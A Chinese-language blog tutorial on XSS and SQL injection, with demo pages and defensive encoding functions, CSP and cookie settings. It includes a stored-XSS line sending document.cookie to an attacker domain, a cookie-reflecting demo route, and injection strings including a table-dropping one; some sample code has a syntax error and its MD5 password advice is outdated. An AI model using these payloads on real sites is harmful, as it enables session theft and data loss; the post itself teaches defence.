web安全之XSS攻擊原理及防範

龍恩0707發表於2019-05-22

閱讀目錄

一:什麼是XSS攻擊?

XSS 即(Cross Site Scripting)中文名稱為:跨站指令碼攻擊。XSS的重點不在於跨站點,而在於指令碼的執行。那麼XSS的原理是:
惡意攻擊者在web頁面中會插入一些惡意的script程式碼。當使用者瀏覽該頁面的時候,那麼嵌入到web頁面中script程式碼會執行,因此會達到惡意攻擊使用者的目的。那麼XSS攻擊最主要有如下分類:反射型、儲存型、及 DOM-based型。 反射性和DOM-baseed型可以歸類為非永續性XSS攻擊。儲存型可以歸類為永續性XSS攻擊。

二:反射型XSS

反射性XSS的原理是:反射性xss一般指攻擊者通過特定的方式來誘惑受害者去訪問一個包含惡意程式碼的URL。當受害者點選惡意連結url的時候,惡意程式碼會直接在受害者的主機上的瀏覽器執行。

反射性XSS又可以叫做非永續性XSS。為什麼叫反射型XSS呢?那是因為這種攻擊方式的注入程式碼是從目標伺服器通過錯誤資訊,搜尋結果等方式反射回來的,而為什麼又叫非永續性XSS呢?那是因為這種攻擊方式只有一次性。

比如:攻擊者通過電子郵件等方式將包含注入指令碼的惡意連結傳送給受害者,當受害者點選該連結的時候,注入指令碼被傳輸到目標伺服器上,然後伺服器將注入指令碼 "反射"到受害者的瀏覽器上,從而瀏覽器就執行了該指令碼。

因此反射型XSS的攻擊步驟如下:

1. 攻擊者在url後面的引數中加入惡意攻擊程式碼。
2. 當使用者開啟帶有惡意程式碼的URL的時候,網站服務端將惡意程式碼從URL中取出,拼接在html中並且返回給瀏覽器端。
3. 使用者瀏覽器接收到響應後執行解析,其中的惡意程式碼也會被執行到。
4. 攻擊者通過惡意程式碼來竊取到使用者資料併傳送到攻擊者的網站。攻擊者會獲取到比如cookie等資訊,然後使用該資訊來冒充合法使用者
的行為,呼叫目標網站介面執行攻擊等操作。

常見的反射性XSS有哪些?

常見的是:惡意連結。

比如我現在做一個demo。在本地啟動一個簡單的伺服器,然後在頁面上點選一個連結後,比如如下程式碼:html程式碼如下:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title>csrf攻擊</title>
</head>
<body>
  <div>
    <a href="http://localhost:3001/xss">xxs 攻擊</a>
    <a href="http://localhost:3001/testcookie">testcookie 攻擊</a>
  </div>
</body>
</html>

然後node中app.js 程式碼如下:

const Koa = require('koa');
const fs = require('fs');
const path = require('path');
const router = require('koa-router')();
const koaBody = require('koa-body');
const static = require('koa-static');

const app = new Koa();

router.get('/', (ctx, next) => {
  // 設定頭型別, 如果不設定,會直接下載該頁面
  ctx.type = 'html';
  // 讀取檔案
  const pathUrl = path.join(__dirname, '/static/index.html');
  ctx.body = fs.createReadStream(pathUrl);
  next();
});

router.get('/xss', (ctx, next) => {
  ctx.body = '<script>alert("反射型 XSS 攻擊")</script>';
});
router.get('/testcookie', (ctx, next) => {
  console.log(ctx.cookies.get('connect.sid'));
  ctx.body = '<script>alert("'+ctx.cookies.get('connect.sid')+'")</script>';
  next();
});

app.use(static(path.join(__dirname)));

app.use(router.routes());
app.use(router.allowedMethods());

app.listen(3001, () => {
  console.log('server is listen in 3001');
});

如上程式碼,當使用者點選xxs 攻擊惡意連結時候,頁面會跳轉到 http://localhost:3001/xss 攻擊者預先準備的頁面,然後會返回攻擊者準備的js指令碼,該js指令碼就在瀏覽器中執行了,如下所示:

當使用者點選 testcookie 攻擊 這個連結的時候,首先要保證頁面上有cookie,比如我請求如下的cookie:

然後我們點選 testcookie 該連結,也會呼叫node中的 router.get('/testcookie', (ctx, next) => {}) 這個請求獲取到cookie,如下所示:

如上我們就可以很容易通過xss攻擊拿到對方的cookie資訊了。

github原始碼檢視

三:儲存型XSS

儲存型XSS的原理是:主要是將惡意程式碼上傳或儲存到伺服器中,下次只要受害者瀏覽包含此惡意程式碼的頁面就會執行惡意程式碼。

比如我現在做了一個部落格網站,然後攻擊者在上面釋出了一篇文章,內容是如下:<script>window.open("www.gongji.com?param="+document.cookie)</script> 如果我沒有對該文章進行任何處理的話,直接存入到資料庫中,那麼下一次當其他使用者訪問該文章的時候,伺服器會從資料庫中讀取後然後響應給客戶端,那麼瀏覽器就會執行這段指令碼,然後攻擊者就會獲取到使用者的cookie,然後會把cookie傳送到攻擊者的伺服器上了。

因此儲存型XSS的攻擊步驟如下:

1. 攻擊者將惡意程式碼提交到目標網站資料庫中。
2. 使用者開啟目標網站時,網站伺服器將惡意程式碼從資料庫中取出,然後拼接到html中返回給瀏覽器中。
3. 使用者瀏覽器接收到響應後解析執行,那麼其中的惡意程式碼也會被執行。
4. 那麼惡意程式碼執行後,就能獲取到使用者資料,比如上面的cookie等資訊,那麼把該cookie傳送到攻擊者網站中,那麼攻擊者拿到該
cookie然後會冒充該使用者的行為,呼叫目標網站介面等違法操作。

如何防範?
1. 後端需要對提交的資料進行過濾。
2. 前端也可以做一下處理方式,比如對script標籤,將特殊字元替換成HTML編碼這些等。

四:DOM-based型XSS

我們客戶端的js可以對頁面dom節點進行動態的操作,比如插入、修改頁面的內容。比如說客戶端從URL中提取資料並且在本地執行、如果使用者在客戶端輸入的資料包含了惡意的js指令碼的話,但是這些指令碼又沒有做任何過濾處理的話,那麼我們的應用程式就有可能受到DOM-based XSS的攻擊。因此DOM型XSS的攻擊步驟如下:

1. 攻擊者構造出特殊的URL、在其中可能包含惡意程式碼。
2. 使用者開啟帶有惡意程式碼的URL。
3. 使用者瀏覽器收到響應後解析執行。前端使用js取出url中的惡意程式碼並執行。
4. 執行時,惡意程式碼竊取使用者資料併傳送到攻擊者的網站中,那麼攻擊者網站拿到這些資料去冒充使用者的行為操作。呼叫目標網站介面
執行攻擊者一些操作。

DOM XSS 是基於文件物件模型的XSS。一般有如下DOM操作:
1. 使用document.write直接輸出資料。
2. 使用innerHTML直接輸出資料。
3. 使用location、location.href、location.replace、iframe.src、document.referer、window.name等這些。
比如如下demo:

<script>
  document.body.innerHTML = "<a href='"+url+"'>"+url+"</a>";
</script>

假如對於變數url的值是:javascript:alert('dom-xss'); 類似這樣的,那麼就會收到xss的攻擊了。因此對於DOM XSS主要是由於本地客戶端獲取的DOM資料在本地執行導致的。因此我們需要對HTML進行編碼,對JS進行編碼來防止這些問題產生。具體如何編碼可以請看我下面的 XSS 如何防範那個地方即可。

我們接下來看看demo程式碼吧:

1. 使用document.write直接輸出導致瀏覽器解析惡意程式碼
程式碼如下:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <script type="text/javascript">
    var s = location.search;            // 返回URL中的查詢部分(?之後的內容)
    // 為了方便演示,我們假如url是 如下這樣的
    // http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); 
    // 然後我們的是 s 的值就為如下:
    s = "?url=javascript:alert('xsstest')";
    s = s.substring(1, s.length);       // 返回整個查詢內容
    var url = "";                       // 定義變數url
    if (s.indexOf("url=") > -1) {       // 判斷URL是否為空 
      var pos = s.indexOf("url=") + 4;  // 過濾掉"url="字元
      url = s.substring(pos, s.length);  // 得到位址列裡的url引數
    } else {
      url = "url引數為空";
    }
    document.write('url: <a href="' + url + '">"' + url + '"</a>'); 
  </script>
</body>
</html>

頁面渲染完成後,點選彈窗如下所示:

2. 使用innerHTML直接輸出導致瀏覽器解析惡意程式碼
程式碼如下:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <script type="text/javascript">
    var s = location.search;            // 返回URL中的查詢部分(?之後的內容)
    // 為了方便演示,我們假如url是 如下這樣的
    // http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); 
    // 然後我們的是 s 的值就為如下:
    s = "?url=javascript:alert('xsstest')";
    s = s.substring(1, s.length);       // 返回整個查詢內容
    var url = "";                       // 定義變數url
    if (s.indexOf("url=") > -1) {       // 判斷URL是否為空 
      var pos = s.indexOf("url=") + 4;  // 過濾掉"url="字元
      url = s.substring(pos, s.length);  // 得到位址列裡的url引數
    } else {
      url = "url引數為空";
    }
  </script>
  <div id='test'><a href=""></a></div>
  <script type="text/javascript">
      document.getElementById("test").innerHTML = '我的url是: <a href="' + url + '">"' + url + '"</a>';
  </script>
</body>
</html>

點選一樣也會彈窗視窗的。也會一樣執行xss攻擊的。

3. 使用location/location.href/location.replace/iframe.src 造成的XSS

如下程式碼:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <script type="text/javascript">
    var s = location.search;            // 返回URL中的查詢部分(?之後的內容)
    // 為了方便演示,我們假如url是 如下這樣的
    // http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); 
    // 然後我們的是 s 的值就為如下:
    s = "?url=javascript:alert('xsstest')";
    s = s.substring(1, s.length);       // 返回整個查詢內容
    var url = "";                       // 定義變數url
    if (s.indexOf("url=") > -1) {       // 判斷URL是否為空 
      var pos = s.indexOf("url=") + 4;  // 過濾掉"url="字元
      url = s.substring(pos, s.length);  // 得到位址列裡的url引數
    } else {
      url = "url引數為空";
    }
  </script>
  <div id='test'><a href=""></a></div>
  <script type="text/javascript">
    location.href = url;
  </script>
</body>
</html>

重新整理下頁面,也會彈出視窗執行 xss攻擊了。

五:SQL隱碼攻擊

SQL隱碼攻擊是通過客戶端的輸入把SQL命令注入到一個應用的資料庫中,從而執行惡意的SQL語句。
什麼意思呢?我們來打個比方:我們有一個登入框,需要輸入使用者名稱和密碼對吧,然後我們的密碼輸入 'or '123' = '123 這樣的。
我們在查詢使用者名稱和密碼是否正確的時候,本來執行的sql語句是:select * from user where username = '' and password = ''. 這樣的sql語句,現在我們輸入密碼是如上這樣的,然後我們會通過引數進行拼接,拼接後的sql語句就是:
select * from user where username = '' and password = ' ' or '123' = '123 '; 這樣的了,那麼會有一個or語句,只要這兩個有一個是正確的話,就條件成立,因此 123 = 123 是成立的。因此驗證就會被跳過。這只是一個簡單的列子,比如還有密碼比如是這樣的:'; drop table user;, 這樣的話,那麼sql命令就變成了:
select * from user where username = '' and password = ''; drop table user;' , 那麼這個時候我們會把user表直接刪除了。

sql被攻擊的原因是:sql語句偽造引數,然後對引數進行拼接後形成xss攻擊的sql語句。最後會導致資料庫被攻擊了。

防範的方法:
1. 我們可以使用預編譯語句(PreparedStatement,這樣的話即使我們使用sql語句偽造成引數,到了服務端的時候,這個偽造sql語句的引數也只是簡單的字元,並不能起到攻擊的作用。
2. 資料庫中密碼不應明文儲存的,可以對密碼使用md5進行加密,為了加大破解成本,所以可以採用加鹽的方式。

cookie安全策略

在伺服器端設定cookie的時候設定 http-only, 這樣就可以防止使用者通過JS獲取cookie。對cookie的讀寫或傳送一般有如下欄位進行設定:

http-only: 只允許http或https請求讀取cookie、JS程式碼是無法讀取cookie的(document.cookie會顯示http-only的cookie項被自動過濾掉)。傳送請求時自動傳送cookie.
secure-only: 只允許https請求讀取,傳送請求時自動傳送cookie。
host-only: 只允許主機域名與domain設定完成一致的網站才能訪問該cookie。

X-XSS-Protection設定

目前該屬性被所有的主流瀏覽器預設開啟XSS保護。該引數是設定在響應頭中目的是用來防範XSS攻擊的。它有如下幾種配置:
值有如下幾種:預設為1.
0:禁用XSS保護。
1:啟用XSS保護。
1;mode=block; 啟用xss保護,並且在檢查到XSS攻擊是,停止渲染頁面。

XSS防禦HTML編碼

我們為什麼要防禦HTML編碼呢?比如如下html程式碼:<div>${content}</div>, 在div標籤中存在一個輸出變數${content}. 那麼瀏覽器在解析的過程中,首先是html解析,當解析到div標籤時,再解析 ${content}的內容,然後會將頁面顯示出來。
那假如該 ${content} 的值是 <script>alert('XSS攻擊')</script> 這樣的呢?因此該script指令碼就會解析並且執行了,從而達到XSS的攻擊目標。
因此我們需要將不可信資料放入到html標籤內(比如div、span等)的時候需要進行html編碼。
編碼規則:將 & < > " ' / 轉義為實體字元。如下基本轉義程式碼:

// 使用正規表示式實現html編碼
    function htmlEncodeByRegExp(str) {
      var s = '';
      if (str.length === 0) {
        return s;
      }
      return (s + str)
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/ /g, "&nbsp;")
        .replace(/\'/g, "&#39")
        .replace(/\"/g, "&quot;")
        .replace(/\//g, '&#x2F;');
    }
    // 使用正規表示式實現html解碼
    function htmlDecodeByRegExp(str) {
      var s = '';
      if (str.length === 0) {
        return s;
      }
      return (s + str)
        .replace(/&amp;/g, "&")
        .replace(/&lt;/g, "<")
        .replace(/&gt;/g, ">")
        .replace(/&nbsp;/g, " ")
        .replace(/&#39/g, "\'")
        .replace(/&quot;/g, "\"")
        .replace(/&#x2F;/g, "\/");
    }

實現demo如下:

<!DOCTYPE html>
    <html>
    <head>
      <meta charset=utf-8>
      <meta name="referrer" content="never">
      <title></title>
    </head>
    <body>
      <script type="text/javascript">
        // 使用正規表示式實現html編碼
        function htmlEncodeByRegExp(str) {
          var s = '';
          if (str.length === 0) {
            return s;
          }
          return (s + str)
            .replace(/&/g, "&amp;")
            .replace(/</g, "&lt;")
            .replace(/>/g, "&gt;")
            .replace(/ /g, "&nbsp;")
            .replace(/\'/g, "&#39")
            .replace(/\"/g, "&quot;")
            .replace(/\//g, '&#x2F;');
        }
        // 使用正規表示式實現html解碼
        function htmlDecodeByRegExp(str) {
          var s = '';
          if (str.length === 0) {
            return s;
          }
          return (s + str)
            .replace(/&amp;/g, "&")
            .replace(/&lt;/g, "<")
            .replace(/&gt;/g, ">")
            .replace(/&nbsp;/g, " ")
            .replace(/&#39/g, "\'")
            .replace(/&quot;/g, "\"")
            .replace(/&#x2F;/g, "\/");
        }

        // 測試程式碼:
        var html = '<br>aaaaaa<p>xxxxxx</p>';
        var encodeHtml = htmlEncodeByRegExp(html);
        // 輸出:使用正規表示式對html編碼:&lt;br&gt;aaaaaa&lt;p&gt;xxxxxx&lt;&#x2F;p&gt;
        console.log("使用正規表示式對html編碼:" + encodeHtml);
        var decodeHtml = htmlDecodeByRegExp(encodeHtml);

        // 輸出:使用正規表示式對html解碼:<br>aaaaaa<p>xxxxxx</p>
        console.log("使用正規表示式對html解碼:" + decodeHtml);

      </script>
    </body>
    </html>

XSS 防禦HTML Attribute編碼

和HTML編碼一樣,html中的屬性也要進行編碼,比如 <input name="${name}" /> 這樣的,name是input的屬性,因此在html解析時,會對name屬性進行編碼,因為假如${name} 的值為:" " onclick="alert('屬性XSS')" " " 這樣的,也就是說input變成這樣的了,<input name=" " onclick="alert('屬性XSS')" " "></input>,input屬性name被插入onclick事件了,因此也需要針對這種常規的html屬性,都需要對其進行HTML屬性編碼。
因此我們需要將不可信資料放入html屬性時(不含src、href、style 和 事件處理函式(onclick, onmouseover等))。需要進行HTML Attribute 編碼。
編碼規則:除了字母、數字、字元以外,使用 &#x;16進位制格式來轉義ASCII值小於256所有的字元。

因此編碼程式碼如下:

function encodeForHTMLAttibute(str) {
      let encoded = '';
      for(let i = 0; i < str.length; i++) {
        let ch = hex = str[i];
        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
          hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';
        }
        encoded += hex;
      }
      return encoded;
   };

XSS防禦之javascript編碼

在上面的 XSS 防禦HTML Attribute編碼中我們是可以防禦XSS攻擊,但是它只能防禦的是HTML通用屬性,並不是全部屬性,在html中還存在很多支援協議解析的html屬性,比如 onclick, onerror, href, src 等這些,類似這些屬性我們是無法通過HTML編碼來防範XSS攻擊的。因為瀏覽器會先解析html編碼的字元,將其轉換為該屬性的值,但是該屬性本身支援JS程式碼執行,因此遊覽器在HTML解碼後,對該屬性的值進行JS解析,因此會執行響應的程式碼。

比如如下程式碼:<a href="javascript:alert('href xss')" target="_blank">href xss</a> 是可以點選的。 如果我們對該進行html屬性編碼一下,還是可以點選的,
如程式碼:<a href="javascript&#x3a;alert&#x28;&#x27;href&#x20;xss&#x20;HTML編碼無效&#x27;&#x29;" target="_blank">href xss HTML屬性編碼無效</a> 頁面還是可以點選的。如下圖所示:

如下對href屬性編碼:

var str = "javascript:alert('href xss')";
// 使用正規表示式實現html編碼
function encodeForHTMLAttibute(str) {
  let encoded = '';
  for(let i = 0; i < str.length; i++) {
    let ch = hex = str[i];
    if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
      hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';
    }
    encoded += hex;
  }
  return encoded;
};
console.log(encodeForHTMLAttibute(str)); // javascript&#x3a;alert&#x28;&#x27;href&#x20;xss&#x27;&#x29;

那麼現在假如我們對alert('href xss')進行JavaScript編碼,結果又會如何?(JavaScript編碼將字元編碼成\x+16進位制的形式,對款位元組編碼成Unicode)

注意:XSS防禦之javascript編碼程式碼如下:

function encodeForJavascript(str) {
  let encoded = '';
  for(let i = 0; i < str.length; i++) {
    let cc = hex = str[i];
    if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
      hex = '\\x' + cc.charCodeAt().toString(16);
    }
    encoded += hex;
  }
  return encoded;
};

如下demo演示:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <div>
    <a href="javascript:alert\x28\x27href\x20xss\x27\x29" target="_blank">Href XSS JavaScript編碼</a>
  </div>
  <script type="text/javascript">
    var str = "alert('href xss')";
    function encodeForJavascript(str) {
      let encoded = '';
      for(let i = 0; i < str.length; i++) {
        let cc = hex = str[i];
        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
          hex = '\\x' + cc.charCodeAt().toString(16);
        }
        encoded += hex;
      }
      return encoded;
    };
    console.log(encodeForJavascript(str)); // alert\x28\x27href\x20xss\x27\x29
  </script>
</body>
</html>

現在我們再來點選上面的a連結是不會有任何效果的。因此 XSS執行失敗; 當然對onclick 事件等其他的也是一樣的要進行編碼。我們也可以繼續看下:onclick屬性XSS

onclick屬性XSS

比如現在我們來看一下on事件屬性:<div id="test" onclick="testFunc($value)">xxs測試</div> (此處的$value往往一般都是後臺模板替換的變數)<div id="test" onclick="testFunc('$value')">xxs測試</div>

當$value的值 hello world'),alert('onclick xss 時,就會觸發XSS攻擊;程式碼就會變成如下:

<div id="test" onclick="testFunc('hello world'),alert('onclick xss')" >xxs測試</div>

因此demo如下:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <div id="test" onclick="testFunc('hello world'),alert('onclick xss')">xxs測試</div>
  <script type="text/javascript">
    function testFunc(xx) {
      
    }
  </script>
</body>
</html>

當我點選xss測試的時候,就會變成如下所示:

如果我們使用html編碼是不行的,對$value進行HTML編碼, 我們可以看看如下demo所示:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <div id="test" onclick="testFunc('hello&#x20;world&#x27;&#x29;&#x2c;alert&#x28;&#x27;onclick&#x20;xss')">xxs測試</div>
  <script type="text/javascript">
    function testFunc() {}
    
    var str = "hello world'),alert('onclick xss";
    // 使用正規表示式實現html編碼
    function encodeForHTMLAttibute(str) {
      let encoded = '';
      for(let i = 0; i < str.length; i++) {
        let ch = hex = str[i];
        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
          hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';
        }
        encoded += hex;
      }
      return encoded;
    };
    console.log(encodeForHTMLAttibute(str)); 
    // hello&#x20;world&#x27;&#x29;&#x2c;alert&#x28;&#x27;onclick&#x20;xss
  </script>
</body>
</html>

如上程式碼,我們繼續點選xxx測試的時候,還是可以彈窗的。

現在如果我們繼續將$value進行JavaScript編碼:顯示正常,不存在XSS。 如下程式碼所示:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <div id="test" onclick="testFunc('hello\x20world\x27\x29\x2calert\x28\x27onclick\x20xss')">xxs測試</div>
  <script type="text/javascript">
    function testFunc() {}
    
    var str = "hello world'),alert('onclick xss";
    // 使用正規表示式實現html編碼
    function encodeForJavascript(str) {
      let encoded = '';
      for(let i = 0; i < str.length; i++) {
        let cc = hex = str[i];
        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
          hex = '\\x' + cc.charCodeAt().toString(16);
        }
        encoded += hex;
      }
      return encoded;
    };
    console.log(encodeForJavascript(str)); 
    // hello\x20world\x27\x29\x2calert\x28\x27onclick\x20xss
  </script>
</body>
</html>

我們繼續點選就沒有任何反應了,大家自己可以試試下。因此就不會存在xss攻擊了。

XSS 防禦之 URL 編碼

作用範圍:將不可信資料作為 URL 引數值時需要對引數進行 URL 編碼
編碼規則:將引數值進行 encodeURIComponent 編碼

編碼程式碼如下:

function encodeForURL(str){
  return encodeURIComponent(str);
};

XSS 防禦之 CSS 編碼

作用範圍:將不可信資料作為 CSS 時進行 CSS 編碼
比如:通過css構造(background-img:url\expression\link-href@import)

<div style="background-image: url(javascript:alert('xss'));"></div>
<style>body{background-image: url("javascript:alert('xss')");}</style>

編碼規則:除了字母數字字元以外,使用\XXXXXX格式來轉義ASCII值小於256的所有字元。 編碼程式碼如下:

function encodeForCSS (attr, str){
  let encoded = '';
  for (let i = 0; i < str.length; i++) {
    let ch = str.charAt(i);
    if (!ch.match(/[a-zA-Z0-9]/) {
      let hex = str.charCodeAt(i).toString(16);
      let pad = '000000'.substr((hex.length));
      encoded += '\\' + pad + hex;
    } else {
      encoded += ch;
    }
  }
  return encoded;
};

開啟CSP網頁安全政策防止XSS攻擊

Content-Security-Policy 中文的意思是 網頁安全政策,

CSP是網頁安全政策(Content Security Policy)的縮寫。主要用來防止XSS攻擊。是一種由開發者定義的安全性政策申明,通過CSP所約束的責任指定可信的內容來源,通過 Content-Security-Policy 網頁的開發者可以控制整個頁面中 外部資源 的載入和執行。
比如可以控制哪些 域名下的靜態資源可以被頁面載入,哪些不能被載入。這樣就可以很大程度的防範了 來自 跨站(域名不同) 的指令碼攻擊。

如何使用呢?

我們只需要在meta屬性中設定下即可:如下程式碼:

<meta http-equiv="Content-Security-Policy" content="">

比如如下的列子:

<meta http-equiv="Content-Security-Policy" content="
default-src http: https:  *.xxx.com 'self' 'unsafe-inline' ;
style-src 'self' 'unsafe-inline' *.yyy.com;
script-src 'self' 'unsafe-inline' 'unsafe-eval' ;
">

預設設定(default-src):信任 http ,https協議資源,信任當前域名資源,信任符合*.xxx.com的域名資源CSS設定(style-src):信任當前域名資源,允許內嵌的CSS資源,信任來自*.yyy.com下的CSS資源。
JS設定(script-src):信任當前域名資源,允許內嵌的JS執行,允許將字串當作程式碼執行

有如下類別

default-src 給下面所有的規則設定一個預設值
script-src 外部指令碼
style-src 樣式表
img-src 影像
media-src 媒體檔案(音訊和視訊)
font-src 字型檔案
object-src 外掛(比如 Flash)
child-src 框架
frame-ancestors 嵌入的外部資源(比如、<iframe>、和)
connect-src HTTP 連線(通過 XHR、WebSockets、EventSource等)
worker-src worker指令碼
manifest-src manifest 檔案

script-src有如下屬性值:

unsafe-inline 允許執行頁面內嵌的<script>標籤和事件監聽函式
unsafe-eval 允許將字串當作程式碼執行,比如使用eval、setTimeout、setInterval和Function等函式
nonce 每次HTTP回應給出一個授權token,頁面內嵌指令碼必須有這個token,才會執行
hash 列出允許執行的指令碼程式碼的Hash值,頁面內嵌指令碼的雜湊值只有吻合的情況下,才能執行

相關文章